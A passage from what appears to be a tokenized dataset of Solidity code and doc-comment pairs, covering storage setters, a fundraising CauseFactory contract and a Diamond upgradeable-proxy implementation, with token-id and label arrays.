_commonStorage[portfolioId].principalAddress = _principalAddress;
}
/// @notice Set the principal address/coin of the associated portfolio
///
/// @param portfolioId - The id of the portfolio we're configuring
/// @param _principalAddress - The coin's contract address for this portfolio
function setPrincipalAddress(
bytes32 portfolioId,
address _principalAddress
)
external
onlyStorageWrappers
{
_commonStorage[portfolioId].principalAddress = _principalAddress;
}
/// @notice Set an opportunity as valid in a mapping to a portfolio key
///
/// @dev We set the valid opportunities in an array, but we also set them
/// here for quicker access instead of having to iterate through the array.
/// Sacrifice the extra gas cost (20,000) per opportunity we 'double set'
///
/// @param portfolioId - the id of the portfolio
/// @param opportunityId - the id of the opportunity
function setValidOpportunity(bytes32 portfolioId, bytes32 opportunityId) external onlyStorageWrappers {
_portfolioStorage[portfolioId].validOpportunities[opportunityId] = true;
}
/// @notice Set the shares of the associated token
///
/// @param portfolioId - The id of the portfolio we're configuring
/// @param tokenId - The id of the token we're configuring
/// @param tokenShares - The number of shares
function setTokenShares(
bytes32 portfolioId,
bytes32 tokenId,
uint tokenShares
)
external
onlyStorageWrappers
{
_commonStorage[portfolioId].tokenValues[tokenId][0] = tokenShares;
}
/// @notice Set the capital of the associated token
///
/// @param portfolioId - The id of the portfolio we're configuring
/// @param tokenId - The id of the token we're configuring
/// @param tokenCapital - The amount of capital
function setTokenCapital(
bytes32 portfolioId,
bytes32 tokenId,
uint tokenCapital
)
external
onlyStorageWrappers
{
_commonStorage[portfolioId].tokenValues[tokenId][1] = tokenCapital;
}
/// @notice Set the allowance of the associated token
///
/// @param portfolioId - The id of the portfolio we're configuring
/// @param tokenId - The id of the token we're configuring
/// @param tokenAllowance - The amount of allowance
function setTokenAllowance(
bytes32 portfolioId,
bytes32 tokenId,
uint tokenAllowance
)
external
onlyStorageWrappers
{
_commonStorage[portfolioId].tokenValues[tokenId][2] = tokenAllowance;
}
/// @notice Set the entry rate of the associated token
///
/// @param portfolioId - The id of the portfolio we're configuring
/// @param tokenId - The id of the token we're configuring
/// @param entryRate - The entry rate (in seconds)
function setEntryRate(
bytes32 portfolioId,
bytes32 tokenId,
uint entryRate
)
external
onlyStorageWrappers
{
_commonStorage[portfolioId].tokenValues[tokenId][3] = entryRate;
}
/// @notice Set the id of an Opportunity token for a portfolio
///
/// @param portfolioId - The id of the portfolio we're configuring
/// @param opportunityId - The id of the opportunity the token represents
/// @param tokenId - The id of the Opportunity token
function setOpportunityToken(
bytes32 portfolioId,
bytes32 opportunityId,
bytes32 tokenId
)
external
onlyStorageWrappers
{
_portfolioStorage[portfolioId].opportunityTokens[opportunityId] = tokenId;
}
/// @notice Set the id of an Opportunity token for a portfolio
///
/// @param opportunityId - The id of the opportunity the token represents
/// @param principalAmount - The new amount of principal
function setPrincipal(
bytes32 opportunityId,
uint principalAmount
)
external
onlyStorageWrappers
{
_commonStorage[opportunityId].principal = principalAmount;
}
/// @notice Set paused mode on for a portfolio
///
/// @dev Enter keccak256("RAY") to pause all portfolios
///
/// @param portfolioId - The id of the portfolio we're configuring
function setPausedOn(bytes32 portfolioId) external onlyStorageWrappers {
_commonStorage[portfolioId].pausedMode = true;
}
/// @notice Set paused mode off for a portfolio
///
/// @dev Enter keccak256("RAY") to un-pause all portfolios
///
/// @param portfolioId - The id of the portfolio we're configuring
function setPausedOff(bytes32 portfolioId) external onlyStorageWrappers {
_commonStorage[portfolioId].pausedMode = false;
}
/// @notice Set the realized yield for a portfolio
///
/// @param portfolioId - The id of the portfolio we're configuring
/// @param newRealizedYield - The new realized yield
function setRealizedYield(bytes32 portfolioId, uint newRealizedYield) external onlyStorageWrappers {
_commonStorage[portfolioId].realizedYield = newRealizedYield;
}
/// @notice Set the withdrawn yield for a portfolio
///
/// @param portfolioId - The id of the portfolio we're configuring
/// @param newWithdrawnYield - The new realized yield
function setWithdrawnYield(bytes32 portfolioId, uint newWithdrawnYield) external onlyStorageWrappers {
_commonStorage[portfolioId].withdrawnYield = newWithdrawnYield;
}
/// @notice Set the available capital for a portfolio
///
/// @param portfolioId - The id of the portfolio we're configuring
/// @param newAvailableCapital - The new available capital
function setAvailableCapital(bytes32 portfolioId, uint newAvailableCapital) external onlyStorageWrappers {
_portfolioStorage[portfolioId].availableCapital = newAvailableCapital;
}
/// @notice Set the total share supply for a portfolio
///
/// @param portfolioId - The id of the portfolio we're configuring
/// @param newShareSupply - The new share supply
function setShareSupply(bytes32 portfolioId, uint newShareSupply) external onlyStorageWrappers {
_commonStorage[portfolioId].totalShareSupply = newShareSupply;
}
/** ----------------- ONLY STORAGE WRAPPERS GENERIC MUTATORS ----------------- **/
/// @notice We have these to enable us to be flexible with our eternal storage
/// in the future. Also, we could always deploy a new Storage contract
/// and reference two Storage contracts in the system and so on.
function setBoolean(bytes32 ray, bytes32 key, bool value) external onlyStorageWrappers {
_commonStorage[ray]._bool[key] = value;
}
function setInt(bytes32 ray, bytes32 key, int value) external onlyStorageWrappers {
_commonStorage[ray]._int[key] = value;
}
function setUint(bytes32 ray, bytes32 key, uint256 value) external onlyStorageWrappers {
_commonStorage[ray]._uint[key] = value;
}
function setAddress(bytes32 ray, bytes32 key, address value) external onlyStorageWrappers {
_commonStorage[ray]._address[key] = value;
}
function setString(bytes32 ray, bytes32 key, string value) external onlyStorageWrappers {
_commonStorage[ray]._string[key] = value;
}
function setBytes(bytes32 ray, bytes32 key, bytes value) external onlyStorageWrappers {
_commonStorage[ray]._bytes[key] = value;
}
}
| @notice Gets the allowance of the associated token @dev Each token has an allowance which reflects how much yield they're able to make without being charged a fee by us. @param portfolioId - the id of the portfolio @param tokenId - the id of the token @return the amount of allowance | function getTokenAllowance(bytes32 portfolioId, bytes32 tokenId) external view returns (uint) {
return _commonStorage[portfolioId].tokenValues[tokenId][2];
}
| 12,906,382 | [
1,
3002,
326,
1699,
1359,
434,
326,
3627,
1147,
1377,
8315,
1147,
711,
392,
1699,
1359,
1492,
3037,
87,
3661,
9816,
2824,
2898,
4565,
1850,
7752,
358,
1221,
2887,
3832,
1149,
2423,
279,
14036,
635,
584,
18,
565,
19933,
548,
300,
326,
612,
434,
326,
19933,
565,
1147,
548,
300,
326,
612,
434,
326,
1147,
327,
225,
326,
3844,
434,
1699,
1359,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
9162,
7009,
1359,
12,
3890,
1578,
19933,
548,
16,
1731,
1578,
1147,
548,
13,
3903,
1476,
1135,
261,
11890,
13,
288,
203,
565,
327,
389,
6054,
3245,
63,
28962,
548,
8009,
2316,
1972,
63,
2316,
548,
6362,
22,
15533,
203,
225,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/56/0xA98d5E6985CB86F863CF09DDDab77C0765A3e90c/sources/contracts/ObinexFounders.sol | Track total supply for each tier.
| mapping(Tier => uint256) private __totalSupply; | 11,128,829 | [
1,
4402,
2078,
14467,
364,
1517,
17742,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
2874,
12,
15671,
516,
2254,
5034,
13,
3238,
1001,
4963,
3088,
1283,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
import "./Cause.sol";
pragma solidity 0.5.16;
/// @title Factory Contract for management of Cause Contract
/// @author Ashutosh Singh Parmar
/// @notice Enables to create Cause
contract CauseFactory {
/// @notice Status of Cause Factory
/// @return true if Contract operations are allowed otherwise false.
bool public IsEnable;
/// @notice Owner of this Factory Contract
/// @dev Owner will have admin privilages for this Contract
/// @return Address of the Owner of this Contract
address public Admin;
address[] public Causes;
mapping(address => address[]) public CreatorCauseMap; //Design Factory
mapping(address => CauseStatus) public CauseStatusMap; //Design: Registry of Contract Status, https://medium.com/@i6mi6/solidty-smart-contracts-design-patterns-ecfa3b1e9784
constructor() public {
Admin = msg.sender;
IsEnable = true;
}
/// @notice Structure to hold Cause status
struct CauseStatus {
bool Exists;
bool Active;
}
/// @notice Event emitted when a cause is created
/// @param creator Account Address which created the Cause
/// @param cause Address of the newly created Cause
/// @param title Title of the newly created Cause
event CauseCreated(address indexed creator, address cause, string title);
modifier isAdmin() {
require(msg.sender == Admin, "Only admin is allowed to execute this operation.");
_;
}
modifier isContractEnabled() {
require(IsEnable, "Contract is disabled. No operation allowed.");
_;
}
/// @notice Toggles the status of the Factory. Operations are allowed only when its enabled. Circuit breaker pattern.
function ToggleContractStatus() external isAdmin {
IsEnable = !IsEnable; //Design: Circuit Breaker Pattern
}
/// @notice Creates a new Cause with the provided parameters and emits an Event
/// @param title Title for Cause
/// @param detail A brief detail about Cause
/// @param targetAmount Target Amount for Cause
/// @param startTime Start Time for Cause
/// @param endTime End Time for Cause
function CreateCause(string memory title, string memory detail, uint targetAmount, uint startTime, uint endTime)
public
isContractEnabled
{
Cause causeInstance = new Cause(title, detail, targetAmount, startTime, endTime, msg.sender);
Causes.push(address(causeInstance));
CreatorCauseMap[msg.sender].push(address(causeInstance));
CauseStatusMap[address(causeInstance)].Exists = true;
CauseStatusMap[address(causeInstance)].Active = true;
emit CauseCreated(msg.sender, address(causeInstance), title);
}
/// @notice Gets all the Cause Contract Addresses created by supplied Creator
/// @param creator Account Address which created Causes
/// @return causeAddresses Cause Contract Addresses created by Creator
function GetCauses(address creator)
public
view
returns(address[] memory causeAddresses) {
return CreatorCauseMap[creator];
}
/// @notice Gets all the Cause Contract Addresses created by supplied Creator
/// @return causeAddresses All the Cause Contract Addresses created till now
function GetAllCauses()
public
view
returns(address[] memory causeAddresses) {
return Causes;
}
//TODO: Provide Operation Mark Contract InActive, it will be called once fund has been withdrawn from the Contract successfully
//TODO: Provide Operation to get Cause Status
} | @notice Creates a new Cause with the provided parameters and emits an Event @param title Title for Cause @param detail A brief detail about Cause @param targetAmount Target Amount for Cause @param startTime Start Time for Cause @param endTime End Time for Cause | function CreateCause(string memory title, string memory detail, uint targetAmount, uint startTime, uint endTime)
public
isContractEnabled
{
Cause causeInstance = new Cause(title, detail, targetAmount, startTime, endTime, msg.sender);
Causes.push(address(causeInstance));
CreatorCauseMap[msg.sender].push(address(causeInstance));
CauseStatusMap[address(causeInstance)].Exists = true;
CauseStatusMap[address(causeInstance)].Active = true;
emit CauseCreated(msg.sender, address(causeInstance), title);
}
| 15,796,174 | [
1,
2729,
279,
394,
21389,
598,
326,
2112,
1472,
471,
24169,
392,
2587,
225,
2077,
10984,
364,
21389,
225,
7664,
432,
324,
17802,
7664,
2973,
21389,
225,
1018,
6275,
5916,
16811,
364,
21389,
225,
8657,
3603,
2647,
364,
21389,
225,
13859,
4403,
2647,
364,
21389,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
1788,
10683,
12,
1080,
3778,
2077,
16,
533,
3778,
7664,
16,
2254,
1018,
6275,
16,
2254,
8657,
16,
2254,
13859,
13,
7010,
565,
1071,
203,
565,
353,
8924,
1526,
203,
565,
288,
203,
3639,
21389,
4620,
1442,
273,
394,
21389,
12,
2649,
16,
7664,
16,
1018,
6275,
16,
8657,
16,
13859,
16,
1234,
18,
15330,
1769,
203,
540,
203,
3639,
385,
9608,
18,
6206,
12,
2867,
12,
2700,
1442,
10019,
203,
3639,
29525,
10683,
863,
63,
3576,
18,
15330,
8009,
6206,
12,
2867,
12,
2700,
1442,
10019,
203,
540,
203,
3639,
21389,
1482,
863,
63,
2867,
12,
2700,
1442,
13,
8009,
4002,
273,
638,
31,
203,
3639,
21389,
1482,
863,
63,
2867,
12,
2700,
1442,
13,
8009,
3896,
273,
638,
31,
203,
203,
3639,
3626,
21389,
6119,
12,
3576,
18,
15330,
16,
1758,
12,
2700,
1442,
3631,
2077,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
pragma solidity ^0.6.4;
pragma experimental ABIEncoderV2;
/******************************************************************************\
* Original Author: Nick Mudge (modified by Joey Zacherl)
*
* Implementation of a Diamond.
* This is gas optimized by reducing storage reads and storage writes.
/******************************************************************************/
interface Diamond
{
/// @notice _diamondCut is an array of bytes arrays.
/// This argument is tightly packed for gas efficiency.
/// That means no padding with zeros.
/// Here is the structure of _diamondCut:
/// _diamondCut = [
/// abi.encodePacked(facet, sel1, sel2, sel3, ...),
/// abi.encodePacked(facet, sel1, sel2, sel4, ...),
/// ...
/// ]
/// facet is the address of a facet
/// sel1, sel2, sel3 etc. are four-byte function selectors.
function diamondCut(bytes[] calldata _diamondCut) external;
event DiamondCut(bytes[] _diamondCut);
}
contract StorageContract_Authentication
{
struct DiamondStorage_Authentication
{
// This should NEVER be modified outside of the proxy
mapping (address => bool) whitelistedUsers;
}
function diamondStorage_Authentication() internal pure returns(DiamondStorage_Authentication storage ds)
{
// NOTE: this ds_slot must be the shared if you want to share storage with another contract under the proxy umbrella
// NOTE: this ds_slot must be unique if you want to NOT share storage with another contract under the proxy umbrella
// ds_slot = keccak256(diamond.storage.tutorial.authentication);
assembly { ds_slot := 0x32878c5ae2e5bc11f376d2263f2fd5b58a6491377bb89e17008861062e9c4bb0 }
}
}
contract StorageContract_Proxy
{
struct DiamondStorage_Proxy
{
// maps function selectors to the facets that execute the functions.
// and maps the selectors to the slot in the selectorSlots array.
// and maps the selectors to the position in the slot.
// func selector => address facet, uint64 slotsIndex, uint64 slotIndex
mapping(bytes4 => bytes32) facets;
// array of slots of function selectors.
// each slot holds 8 function selectors.
mapping(uint => bytes32) selectorSlots;
// uint128 numSelectorsInSlot, uint128 selectorSlotsLength
// selectorSlotsLength is the number of 32-byte slots in selectorSlots.
// selectorSlotLength is the number of selectors in the last slot of
// selectorSlots.
uint selectorSlotsLength;
// Used to query if a contract implements an interface.
// Used to implement ERC-165.
mapping(bytes4 => bool) supportedInterfaces;
}
function diamondStorage_Proxy() internal pure returns(DiamondStorage_Proxy storage ds)
{
// NOTE: this ds_slot must be the shared if you want to share storage with another contract under the proxy umbrella
// NOTE: this ds_slot must be unique if you want to NOT share storage with another contract under the proxy umbrella
// ds_slot = keccak256(diamond.storage.tutorial.proxy);
assembly { ds_slot := 0x974f3cfcf513e09347459922e3dfbf4842f090ee6f9ab895dd61cec8b4be1a22 }
}
}
contract Owned is
StorageContract_Authentication
{
// I'm naming this varible to be super unique so that nother ever overwrites it!
// Unless this name gets re-used again which should never happen...
// Be careful, logic contracts under this proxy umbrella could potentially overwrite this
// owner address method selector causing this owner to be lost!
// So it's critical to NEVER overwrite this function selector when you're upgrading a logic contract.
// In other words, never re-use this long unique name
address public owner_Proxy_ThisNameMustBeUniqueBecauseInTheoryItCouldGetOverridenByALogicContractHavingTheSameFunctionSelector;
constructor() public
{
owner_Proxy_ThisNameMustBeUniqueBecauseInTheoryItCouldGetOverridenByALogicContractHavingTheSameFunctionSelector = msg.sender;
}
modifier onlyOwner()
{
require(msg.sender == owner_Proxy_ThisNameMustBeUniqueBecauseInTheoryItCouldGetOverridenByALogicContractHavingTheSameFunctionSelector, "Must own the contract.");
_;
}
function whitelistUsers (
address[] memory users,
bool value
) public onlyOwner
{
// Only the owner can modify the whitelist
DiamondStorage_Authentication storage ds = diamondStorage_Authentication();
for(uint i = 0; i < users.length; i++)
{
ds.whitelistedUsers[users[i]] = value;
}
}
}
contract DiamondFacet is
Owned,
StorageContract_Proxy,
Diamond
{
bytes32 constant CLEAR_ADDRESS_MASK = 0x0000000000000000000000000000000000000000ffffffffffffffffffffffff;
bytes32 constant CLEAR_SELECTOR_MASK = 0xffffffff00000000000000000000000000000000000000000000000000000000;
struct SlotInfo
{
uint originalSelectorSlotsLength;
bytes32 selectorSlot;
uint oldSelectorSlotsIndex;
uint oldSelectorSlotIndex;
bytes32 oldSelectorSlot;
bool newSlot;
}
function diamondCut(
bytes[] memory _diamondCut
) public onlyOwner override
{
DiamondStorage_Proxy storage ds = diamondStorage_Proxy();
SlotInfo memory slot;
slot.originalSelectorSlotsLength = ds.selectorSlotsLength;
uint selectorSlotsLength = uint128(slot.originalSelectorSlotsLength);
uint selectorSlotLength = uint128(slot.originalSelectorSlotsLength >> 128);
if(selectorSlotLength > 0)
{
slot.selectorSlot = ds.selectorSlots[selectorSlotsLength];
}
// loop through diamond cut
for(uint diamondCutIndex; diamondCutIndex < _diamondCut.length; diamondCutIndex++)
{
bytes memory facetCut = _diamondCut[diamondCutIndex];
require(facetCut.length > 20, "Missing facet or selector info.");
bytes32 currentSlot;
assembly
{
currentSlot := mload(add(facetCut,32))
}
bytes32 newFacet = bytes20(currentSlot);
uint numSelectors = (facetCut.length - 20) / 4;
uint position = 52;
// adding or replacing functions
if(newFacet != 0)
{
// add and replace selectors
for(uint selectorIndex; selectorIndex < numSelectors; selectorIndex++)
{
bytes4 selector;
assembly
{
selector := mload(add(facetCut,position))
}
position += 4;
bytes32 oldFacet = ds.facets[selector];
// add
if(oldFacet == 0)
{
ds.facets[selector] = newFacet | bytes32(selectorSlotLength) << 64 | bytes32(selectorSlotsLength);
slot.selectorSlot = slot.selectorSlot & ~(CLEAR_SELECTOR_MASK >> selectorSlotLength * 32) | bytes32(selector) >> selectorSlotLength * 32;
selectorSlotLength++;
if(selectorSlotLength == 8)
{
ds.selectorSlots[selectorSlotsLength] = slot.selectorSlot;
slot.selectorSlot = 0;
selectorSlotLength = 0;
selectorSlotsLength++;
slot.newSlot = false;
}
else
{
slot.newSlot = true;
}
}
// replace
else
{
require(bytes20(oldFacet) != bytes20(newFacet), "Function cut to same facet.");
ds.facets[selector] = oldFacet & CLEAR_ADDRESS_MASK | newFacet;
}
}
}
// remove functions
else
{
for(uint selectorIndex; selectorIndex < numSelectors; selectorIndex++)
{
bytes4 selector;
assembly
{
selector := mload(add(facetCut,position))
}
position += 4;
bytes32 oldFacet = ds.facets[selector];
require(oldFacet != 0, "Function doesn't exist. Can't remove.");
if(slot.selectorSlot == 0)
{
selectorSlotsLength--;
slot.selectorSlot = ds.selectorSlots[selectorSlotsLength];
selectorSlotLength = 8;
}
slot.oldSelectorSlotsIndex = uint64(uint(oldFacet));
slot.oldSelectorSlotIndex = uint32(uint(oldFacet >> 64));
bytes4 lastSelector = bytes4(slot.selectorSlot << (selectorSlotLength-1) * 32);
if(slot.oldSelectorSlotsIndex != selectorSlotsLength)
{
slot.oldSelectorSlot = ds.selectorSlots[slot.oldSelectorSlotsIndex];
slot.oldSelectorSlot = slot.oldSelectorSlot & ~(CLEAR_SELECTOR_MASK >> slot.oldSelectorSlotIndex * 32) | bytes32(lastSelector) >> slot.oldSelectorSlotIndex * 32;
ds.selectorSlots[slot.oldSelectorSlotsIndex] = slot.oldSelectorSlot;
selectorSlotLength--;
}
else
{
slot.selectorSlot = slot.selectorSlot & ~(CLEAR_SELECTOR_MASK >> slot.oldSelectorSlotIndex * 32) | bytes32(lastSelector) >> slot.oldSelectorSlotIndex * 32;
selectorSlotLength--;
}
if(selectorSlotLength == 0)
{
delete ds.selectorSlots[selectorSlotsLength];
slot.selectorSlot = 0;
}
if(lastSelector != selector)
{
ds.facets[lastSelector] = oldFacet & CLEAR_ADDRESS_MASK | bytes20(ds.facets[lastSelector]);
}
delete ds.facets[selector];
}
}
}
uint newSelectorSlotsLength = selectorSlotLength << 128 | selectorSlotsLength;
if(newSelectorSlotsLength != slot.originalSelectorSlotsLength)
{
ds.selectorSlotsLength = newSelectorSlotsLength;
}
if(slot.newSlot)
{
ds.selectorSlots[selectorSlotsLength] = slot.selectorSlot;
}
emit DiamondCut(_diamondCut);
}
}
// A loupe is a small magnifying glass used to look at diamonds.
// These functions look at diamonds
interface DiamondLoupe
{
/// These functions are expected to be called frequently
/// by tools. Therefore the return values are tightly
/// packed for efficiency. That means no padding with zeros.
/// @notice Gets all facets and their selectors.
/// @return An array of bytes arrays containing each facet
/// and each facet's selectors.
/// The return value is tightly packed.
/// Here is the structure of the return value:
/// returnValue = [
/// abi.encodePacked(facet, sel1, sel2, sel3, ...),
/// abi.encodePacked(facet, sel1, sel2, sel3, ...),
/// ...
/// ]
/// facet is the address of a facet.
/// sel1, sel2, sel3 etc. are four-byte function selectors.
function facets() external view returns(bytes[] memory);
/// @notice Gets all the function selectors supported by a specific facet.
/// @param _facet The facet address.
/// @return A byte array of function selectors.
/// The return value is tightly packed. Here is an example:
/// return abi.encodePacked(selector1, selector2, selector3, ...)
function facetFunctionSelectors(address _facet) external view returns(bytes memory);
/// @notice Get all the facet addresses used by a diamond.
/// @return A byte array of tightly packed facet addresses.
/// Example return value:
/// return abi.encodePacked(facet1, facet2, facet3, ...)
function facetAddresses() external view returns(bytes memory);
/// @notice Gets the facet that supports the given selector.
/// @dev If facet is not found return address(0).
/// @param _functionSelector The function selector.
/// @return The facet address.
function facetAddress(bytes4 _functionSelector) external view returns(address);
}
interface ERC165
{
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
/// @return `true` if the contract implements `interfaceID` and
/// `interfaceID` is not 0xffffffff, `false` otherwise
